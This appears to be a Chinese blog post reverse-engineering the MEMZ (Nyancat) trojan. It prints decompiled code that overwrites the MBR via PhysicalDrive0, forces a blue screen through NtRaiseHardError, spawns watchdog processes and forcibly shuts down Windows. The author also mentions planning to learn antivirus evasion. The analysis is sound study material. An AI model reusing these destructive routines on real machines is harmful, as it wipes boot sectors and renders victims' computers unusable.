彩虹猫简介
彩虹猫病毒,也称为 Nyancat 病毒,是一种恶意软件,通常被归类为计算机蠕虫或恶搞病毒。其名称和特征灵感来自于流行的互联网迷因“彩虹猫”(Nyancat),这是一只带着彩虹尾巴的动画猫。
彩虹猫病毒属于MBR病毒,从功能上看,它是一款恶作剧病毒。该病毒会修改MBR主引导扇区,以此来破坏电脑的正常启动。在修改MBR后,电脑重启会停留在一个彩虹猫的画面,因此该病毒被称为是彩虹猫病毒。但该病毒没有采取隐藏或者规避查杀等技术。
感染效果 :
一旦感染系统,彩虹猫病毒会修改系统文件或注册表,增加自身的启动项以确保重启后继续运行。
典型的恶搞效果是弹出彩虹猫动画,播放背景音乐,使得用户无法正常操作计算机。
病毒访问google网站和程序,使计算机变得难以使用。
确定之后,病毒就会打开很多个网页。链接指向了谷歌搜索,但是由于网络的缘故,我们不知道这个浏览器具体显示的是什么。紧接着,鼠标就会不受指控,不断抖动。还会不断弹出各种窗口铺满屏幕,有些窗口颜色会变成黑色或者褐色。
病毒初探: 因为彩虹猫病毒没有采用隐藏或规避查杀技术,并且里面一堆敏感API,所以我们选择在虚拟机中操作,然后把Windows自带的安全系统关闭,否则会一直报毒
切记分析病毒最好把后缀改一下,反正后缀不要是exe,不然手贱点到,问题就麻烦了
查个壳子: 拖到DIE看看,发现没有壳子,然后是VS2015版本写的
好歹不是VB,Delphi这种上古语言。
然后看看导入表,发现有这些dll
dll
作用
KERNEL32.DLL
核心系统功能。文件操作、内存管理、进程和线程管理、同步对象、输入/输出操作等。
USER32.DLL
用户界面功能。窗口管理、消息处理、对话框、菜单、图标、键盘和鼠标输入等。
GDI32.DLL
图形设备接口。绘图功能,包括文本、图形、位图、字体等操作。
ADVAPI32.DLL
高级 Windows API。注册表操作、服务管理、安全和访问控制、加密等。
SHELL32.DLL
Windows Shell API。文件操作、桌面管理、任务栏、文件对话框、快捷方式等。
WINMM.DLL
多媒体功能。音频和视频播放、MIDI、计时器、多媒体资源管理等。
PAAPI.DLLWindows
系统进程状态支持模块
这里不得不提到在彩虹猫里面用到的一些函数:
功能实现
对应的链接库
对应的函数
改变窗口颜色和大小
GDI32
bitblt、stretchblt
调用浏览器等外部程序
SHELL32
ShellExecute
反复出现系统提示音
WINMM
PlaySoundA
鼠标不受控制的晃动
USER32
GetCursorPos,SetCursorPos
进程提权
ADVAPI32
OpenprocessToken、LookupPrivilegeValue、AdjustTokenPrivileges
遍历进程
KERNEL32
CreateToolhelp32Snapshot、Process32First、Process32Next
给窗口下钩子
USER32
SetWindowHookEx、UnhookWindowHookEx、CallNextHookEx
分析代码: 释放子体阶段 开局进入Start函数,似乎和我以前分析的vs程序来得简单粗暴?
代码量确实巨大,不过一步步分析也能学到很多
确实里面调用的危险API一点也不隐藏加密,难怪疯狂报毒
1 2 CommandLineW = GetCommandLineW (); v1 = CommandLineToArgvW (CommandLineW, &pNumArgs);
GetCommandLineW是一个 Windows API 函数,用于获取当前进程的命令行字符串。这个函数在需要获取启动应用程序时所使用的命令行参数时非常有用。
CommandLineToArgvW 是一个 Windows API 函数,用于将命令行字符串解析为参数数组。该函数特别有用,因为它可以正确处理带有引号的参数,这在手动解析命令行字符串时可能会遇到困难。
由于是我们双击启动的,所以不会进入上面图片的这个if,所以我们先略过
接下来我们分析这一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ( MessageBoxA ( 0 , "The software you just executed is considered malware.\r\n" "This malware will harm your computer and makes it unusable.\r\n" "If you are seeing this message without knowing what you just executed, simply press No and nothing will happen." "\r\n" "If you know what this malware does and are using a safe environment to test, press Yes to start it.\r\n" "\r\n" "DO YOU WANT TO EXECUTE THIS MALWARE, RESULTING IN AN UNUSABLE MACHINE?" , "MEMZ" , 0x34 u) == 6 && MessageBoxA ( 0 , "THIS IS THE LAST WARNING!\r\n" "\r\n" "THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!\r\n" "STILL EXECUTE IT?" , "MEMZ" , 0x34 u) == 6 ) { v10 = (WCHAR *)LocalAlloc (0x40 u, 0x4000 u); GetModuleFileNameW (0 , v10, 0x2000 u); v11 = 5 ; do { ShellExecuteW (0 , 0 , v10, L"/watchdog" , 0 , 10 ); --v11; } while ( v11 ); pExecInfo.cbSize = 60 ; pExecInfo.cbWndExtra = (int )v10; pExecInfo.hInstance = (HINSTANCE)L"/main" ; pExecInfo.style = 64 ; pExecInfo.lpfnWndProc = 0 ; pExecInfo.cbClsExtra = 0 ; pExecInfo.hIcon = 0 ; pExecInfo.hbrBackground = 0 ; pExecInfo.hCursor = (HCURSOR)10 ; ShellExecuteExW ((SHELLEXECUTEINFOW *)&pExecInfo); SetPriorityClass (pExecInfo_56, 0x80 u); } ExitProcess (0 ); }
发现它是先弹了两个框:
告诉你启动这个病毒的后果(怪好心的😂)
这一句就是获取彩虹猫的系统路径,方便后续自启动
1 2 v10 = (WCHAR *)LocalAlloc (0x40 u, 0x4000 u); GetModuleFileNameW (0 , v10, 0x2000 u);
连续启动五个彩虹猫进程,参数设置为watchdog
1 2 3 4 5 6 v11 = 5 ; do { ShellExecuteW (0 , 0 , v10, L"/watchdog" , 0 , 10 ); --v11; }while ( v11 );
这个再次起了一个彩虹猫进程,并且给的参数是main,并且调用了SetPriorityClass指定了优先级,cpu会给高于正常的优先级,优先响应带main参数的这个彩虹猫程序
1 2 3 4 5 6 7 8 9 10 11 pExecInfo.cbSize = 60 ; pExecInfo.lpFile = v10; pExecInfo.lpParameters = L"/main" ; pExecInfo.fMask = 64 ; pExecInfo.hwnd = 0 ; pExecInfo.lpVerb = 0 ; pExecInfo.lpDirectory = 0 ; pExecInfo.hInstApp = 0 ; pExecInfo.nShow = 10 ; ShellExecuteExW (&pExecInfo);SetPriorityClass (pExecInfo.hProcess, 0x80 u);
SetPriorityClass第二个参数指定优先级
指定进程的优先级类别。它可以是以下值之一:
IDLE_PRIORITY_CLASS (0x40)
:空闲优先级类,只有当系统空闲时,进程才会获得 CPU 时间。
BELOW_NORMAL_PRIORITY_CLASS (0x4000)
:低于正常的优先级类。
NORMAL_PRIORITY_CLASS (0x20)
:正常优先级类,这是大多数应用程序的默认优先级。
ABOVE_NORMAL_PRIORITY_CLASS (0x8000)
:高于正常的优先级类。
HIGH_PRIORITY_CLASS (0x80)
:高优先级类,操作系统将更多的处理器时间分配给该类进程。应谨慎使用,因为它可能会影响系统的响应能力。
REALTIME_PRIORITY_CLASS (0x100)
:实时优先级类,获取几乎所有可用的处理器时间片。应极度谨慎使用,通常用于时间关键的任务,因为它会影响系统的整体性能和响应能力。
开启这6个子进程后,调用了ExitProcess终结了自己(母体释放完子体后,母体自杀)
后续我们来分析下具体这参数 watchdog 和 main 分别代表啥
watchdog部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ( !lstrcmpW (v1[1 ], L"/watchdog" ) ) { CreateThread (0 , 0 , Thread_func1, 0 , 0 , 0 ); pExecInfo.cbClsExtra = 0x30 ; pExecInfo.hInstance = (HINSTANCE)sub_401000; pExecInfo_52 = "hax" ; pExecInfo.cbWndExtra = 0 ; memset (&pExecInfo.hIcon, 0 , 24 ); pExecInfo_48 = 0 ; pExecInfo_56 = 0 ; RegisterClassExA ((const WNDCLASSEXA *)&pExecInfo.cbClsExtra); CreateWindowExA (0 , "hax" , 0 , 0 , 0 , 0 , 100 , 100 , 0 , 0 , 0 , 0 ); while ( GetMessageW (&Msg, 0 , 0 , 0 ) > 0 ) { TranslateMessage (&Msg); DispatchMessageW (&Msg); }
开局起了一个线程:Thread_func1,进去看看这个回调是干啥的
1 CreateThread (0 , 0 , Thread_func1, 0 , 0 , 0 );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 void __stdcall __noreturn Thread_func1 (LPVOID lpThreadParameter) { HANDLE CurrentProcess; HANDLE Toolhelp32Snapshot; const CHAR *v3; int v4; PROCESSENTRY32W pe; LPCSTR Current_Path; int v7; LPCSTR Temp_Path; HANDLE hObject; int savedregs; v7 = 0 ; Current_Path = (LPCSTR)LocalAlloc (0x40 u, 0x200 u); CurrentProcess = GetCurrentProcess (); GetProcessImageFileNameA (CurrentProcess, Current_Path, 512 ); Sleep (1000u ); while ( 1 ) { Toolhelp32Snapshot = CreateToolhelp32Snapshot (2u , 0 ); pe.dwSize = 556 ; Process32FirstW (Toolhelp32Snapshot, &pe); v3 = Current_Path; v4 = 0 ; do { hObject = OpenProcess (0x400 u, 0 , pe.th32ProcessID); Temp_Path = (LPCSTR)LocalAlloc (0x40 u, 0x200 u); GetProcessImageFileNameA (hObject, Temp_Path, 512 ); if ( !lstrcmpA (v3, Temp_Path) ) ++v4; CloseHandle (hObject); LocalFree ((HLOCAL)Temp_Path); } while ( Process32NextW (Toolhelp32Snapshot, &pe) ); CloseHandle (Toolhelp32Snapshot); if ( v4 < v7 ) Destroy_windows ((int )&savedregs); v7 = v4; Sleep (0xA u); } }
这一段就是典型的遍历进程,然后干大事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 while ( 1 ) { Toolhelp32Snapshot = CreateToolhelp32Snapshot (2u , 0 ); pe.dwSize = 556 ; Process32FirstW (Toolhelp32Snapshot, &pe); v3 = Current_Path; v4 = 0 ; do { hObject = OpenProcess (0x400 u, 0 , pe.th32ProcessID); Temp_Path = (LPCSTR)LocalAlloc (0x40 u, 0x200 u); GetProcessImageFileNameA (hObject, Temp_Path, 512 ); if ( !lstrcmpA (v3, Temp_Path) ) ++v4; CloseHandle (hObject); LocalFree ((HLOCAL)Temp_Path); }while ( Process32NextW (Toolhelp32Snapshot, &pe) ); CloseHandle (Toolhelp32Snapshot); if ( v4 < v7 ) Destroy_windows ((int )&savedregs); v7 = v4; Sleep (0xA u); } }
在这里是去遍历一共有几个彩虹猫进程,把数量保存在V4中,和v7比(v7后续被赋值为v4)
一旦有一个进程被强行关闭,那么也会调用Destroy_windows.
继续分析:
发现注册了一个窗口,并且注册窗口过程函数为0x401000,跟进去看看:
1 2 3 4 5 6 7 8 9 10 11 LRESULT __stdcall sub_401000 (HWND a1, UINT a2, WPARAM a3, LPARAM a4) { int savedregs; if ( a2 != 0x10 && a2 != 0x16 ) return DefWindowProcW (a1, a2, a3, a4); Destroy_windows ((int )&savedregs); return 0 ; }
发现窗口过程函数最单独处理WM_CLOSE和WM_ENDSESSION。所以只要 尝试关闭窗口 或者关闭系统 就会自动调用Destroy_windows函数
WM_ENDSESSION
消息在系统关闭或用户注销时触发。这是系统广播给所有应用程序的一条消息,通知它们系统即将关闭或者用户会话即将结束。
点进去Destroy_windows
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 BOOL __usercall Destroy_windows@<eax>(int a1@<ebp>) { int v1; int v2; HMODULE LibraryA; FARPROC RtlAdjustPrivilege; FARPROC NtRaiseHardError; void (__cdecl *v6)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); HANDLE CurrentProcess; int v9; struct _TOKEN_PRIVILEGES v10; int v11; HANDLE v12; int v13; int v14; v1 = 20 ; do { CreateThread (0 , 0x1000 u, StartAddress, 0 , 0 , 0 ); Sleep (0x64 u); --v1; } while ( v1 ); v2 = v14; v14 = a1; v9 = v2; LibraryA = LoadLibraryA ("ntdll" ); RtlAdjustPrivilege = GetProcAddress (LibraryA, "RtlAdjustPrivilege" ); NtRaiseHardError = GetProcAddress (LibraryA, "NtRaiseHardError" ); v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))NtRaiseHardError; if ( RtlAdjustPrivilege && NtRaiseHardError ) { ((void (__cdecl *)(int , int , _DWORD, char *, int , int ))RtlAdjustPrivilege)(19 , 1 , 0 , (char *)&v13 + 3 , v13, v9); v6 (-1073741790 , 0 , 0 , 0 , 6 , &v11); } CurrentProcess = GetCurrentProcess (); OpenProcessToken (CurrentProcess, 0x28 u, &v12); LookupPrivilegeValueW (0 , L"SeShutdownPrivilege" , &v10.Privileges[0 ].Luid); v10.PrivilegeCount = 1 ; v10.Privileges[0 ].Attributes = 2 ; AdjustTokenPrivileges (v12, 0 , &v10, 0 , 0 , 0 ); return ExitWindowsEx (6u , 0x10007 u); }
RtlAdjustPrivilege 函数用于调整当前进程或线程的权限。具体来说,它允许调用者启用或禁用特定的权限。
NtRaiseHardError 函数用于引发硬错误(硬错误通常会导致系统崩溃或蓝屏)。该函数主要用于内核模式或调试目的。
后续的操作:
1 2 3 4 5 6 CurrentProcess = GetCurrentProcess (); OpenProcessToken (CurrentProcess, 0x28 u, &v12);LookupPrivilegeValueW (0 , L"SeShutdownPrivilege" , &v10.Privileges[0 ].Luid);v10.PrivilegeCount = 1 ; v10.Privileges[0 ].Attributes = 2 ; AdjustTokenPrivileges (v12, 0 , &v10, 0 , 0 , 0 );
是为了获取当前进程的访问令牌。得到 SeShutdownPrivilege 权限,使进程有权进行系统关机操作。调用 ExitWindowsEx 函数来关机并强制所有应用程序关闭。(极度恶意)
main部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 FileA = CreateFileA ("\\\\.\\PhysicalDrive0" , 0xC0000000 , 3u , 0 , 3u , 0 , 0 ); hObject = FileA; if ( FileA == (HANDLE)-1 ) ExitProcess (2u ); v3 = 0 ; v4 = LocalAlloc (0x40 u, 0x10000 u); v5 = v4; do { ++v3; *v5 = v5[byte_402118 - v4]; ++v5; } while ( v3 < 0x12F ); for ( i = 0 ; i < 0x7A0 ; ++i ) v4[i + 510 ] = byte_402248[i]; if ( !WriteFile (FileA, v4, 0x10000 u, &NumberOfBytesWritten, 0 ) ) ExitProcess (3u ); CloseHandle (hObject); note_file = CreateFileA ("\\note.txt" , 0xC0000000 , 3u , 0 , 2u , 0x80 u, 0 ); if ( note_file == (HANDLE)-1 ) ExitProcess (4u ); if ( !WriteFile ( note_file, "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n" "\r\n" "Your computer won't boot up again,\r\n" "so use it as long as you can!\r\n" "\r\n" ":D\r\n" "\r\n" "Trying to kill MEMZ will cause your system to be\r\n" "destroyed instantly, so don't try it :D" , 0xDA u, &NumberOfBytesWritten, 0 ) ) ExitProcess (5u ); CloseHandle (note_file); ShellExecuteA (0 , 0 , "notepad" , "\\note.txt" , 0 , 10 ); v8 = 0 ; v9 = (DWORD *)&off_405130; do { Sleep (v9[1 ]); CreateThread (0 , 0 , sub_401A2B, v9, 0 , 0 ); ++v8; v9 += 2 ; } while ( v8 < 0xA ); while ( 1 ) Sleep (0x2710 u); }
这一句并不是创建一个 PhysicalDrive0的文件,而是打开一个特殊的系统设备——物理磁盘驱动器0。
1 FileA = CreateFileA ("\\\\.\\PhysicalDrive0" , 0xC0000000 , 3u , 0 , 3u , 0 , 0 );
后续的这一句像是往这个申请到的内存先写入一些随机数??毕竟v4的地址是不固定的,所以v5[byte_402118 - v4]应该是一个随随便便的数据。但是后续又写入了一些特定的数据,最后把这些数据全部写到物理磁盘驱动器0。覆盖了原来的MBR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 hObject = FileA; if ( FileA == (HANDLE)-1 ) ExitProcess (2u ); v3 = 0 ; v4 = LocalAlloc (0x40 u, 0x10000 u); v5 = v4; do { ++v3; *v5 = v5[byte_402118 - v4]; ++v5; } while ( v3 < 0x12F ); for ( i = 0 ; i < 0x7A0 ; ++i ) v4[i + 510 ] = byte_402248[i]; if ( !WriteFile (FileA, v4, 0x10000 u, &NumberOfBytesWritten, 0 ) ) ExitProcess (3u ); CloseHandle (hObject);
随后又创建了一个文本文件,写入一段话,然后用notepad启动,参数就是刚刚的那个文本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 note_file = CreateFileA ("\\note.txt" , 0xC0000000 , 3u , 0 , 2u , 0x80 u, 0 ); if ( note_file == (HANDLE)-1 ) ExitProcess (4u ); if ( !WriteFile ( note_file, "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n" "\r\n" "Your computer won't boot up again,\r\n" "so use it as long as you can!\r\n" "\r\n" ":D\r\n" "\r\n" "Trying to kill MEMZ will cause your system to be\r\n" "destroyed instantly, so don't try it :D" , 0xDA u, &NumberOfBytesWritten, 0 ) ) ExitProcess (5u ); CloseHandle (note_file); ShellExecuteA (0 , 0 , "notepad" , "\\note.txt" , 0 , 10 );
这一句,也是最关键的,起了10个线程,我们逐步分析他们分别做了什么
1 2 3 4 5 6 7 8 9 10 11 12 v8 = 0 ; v9 = (DWORD *)&off_405130; do { Sleep (v9[1 ]); CreateThread (0 , 0 , sub_401A2B, v9, 0 , 0 ); ++v8; v9 += 2 ; } while ( v8 < 0xA ); while ( 1 ) Sleep (0x2710 u);
thread1: 线程1是随机打开某些网站
thread2: 线程2是实现鼠标乱飞的关键:
thread3: 键盘失控
thread4: 随机放音乐:
thread5: 改变屏幕显示
thread6: 下了钩子+弹窗
thread7: 让鼠标和某地方出现恶意图标
thread8: 才疏学浅,没看出来具体干了啥,改了字符串??
thread9: 界面大小改变,桌面变形
thread10: 让桌面变色
总结 所有杀软都会对彩虹猫报毒,这种杀软也很好做,只需要查一下这个程序的导入表,发现使用敏感API直接报毒即可。所以这种病毒的危害也不大。(具体咋免杀后续学)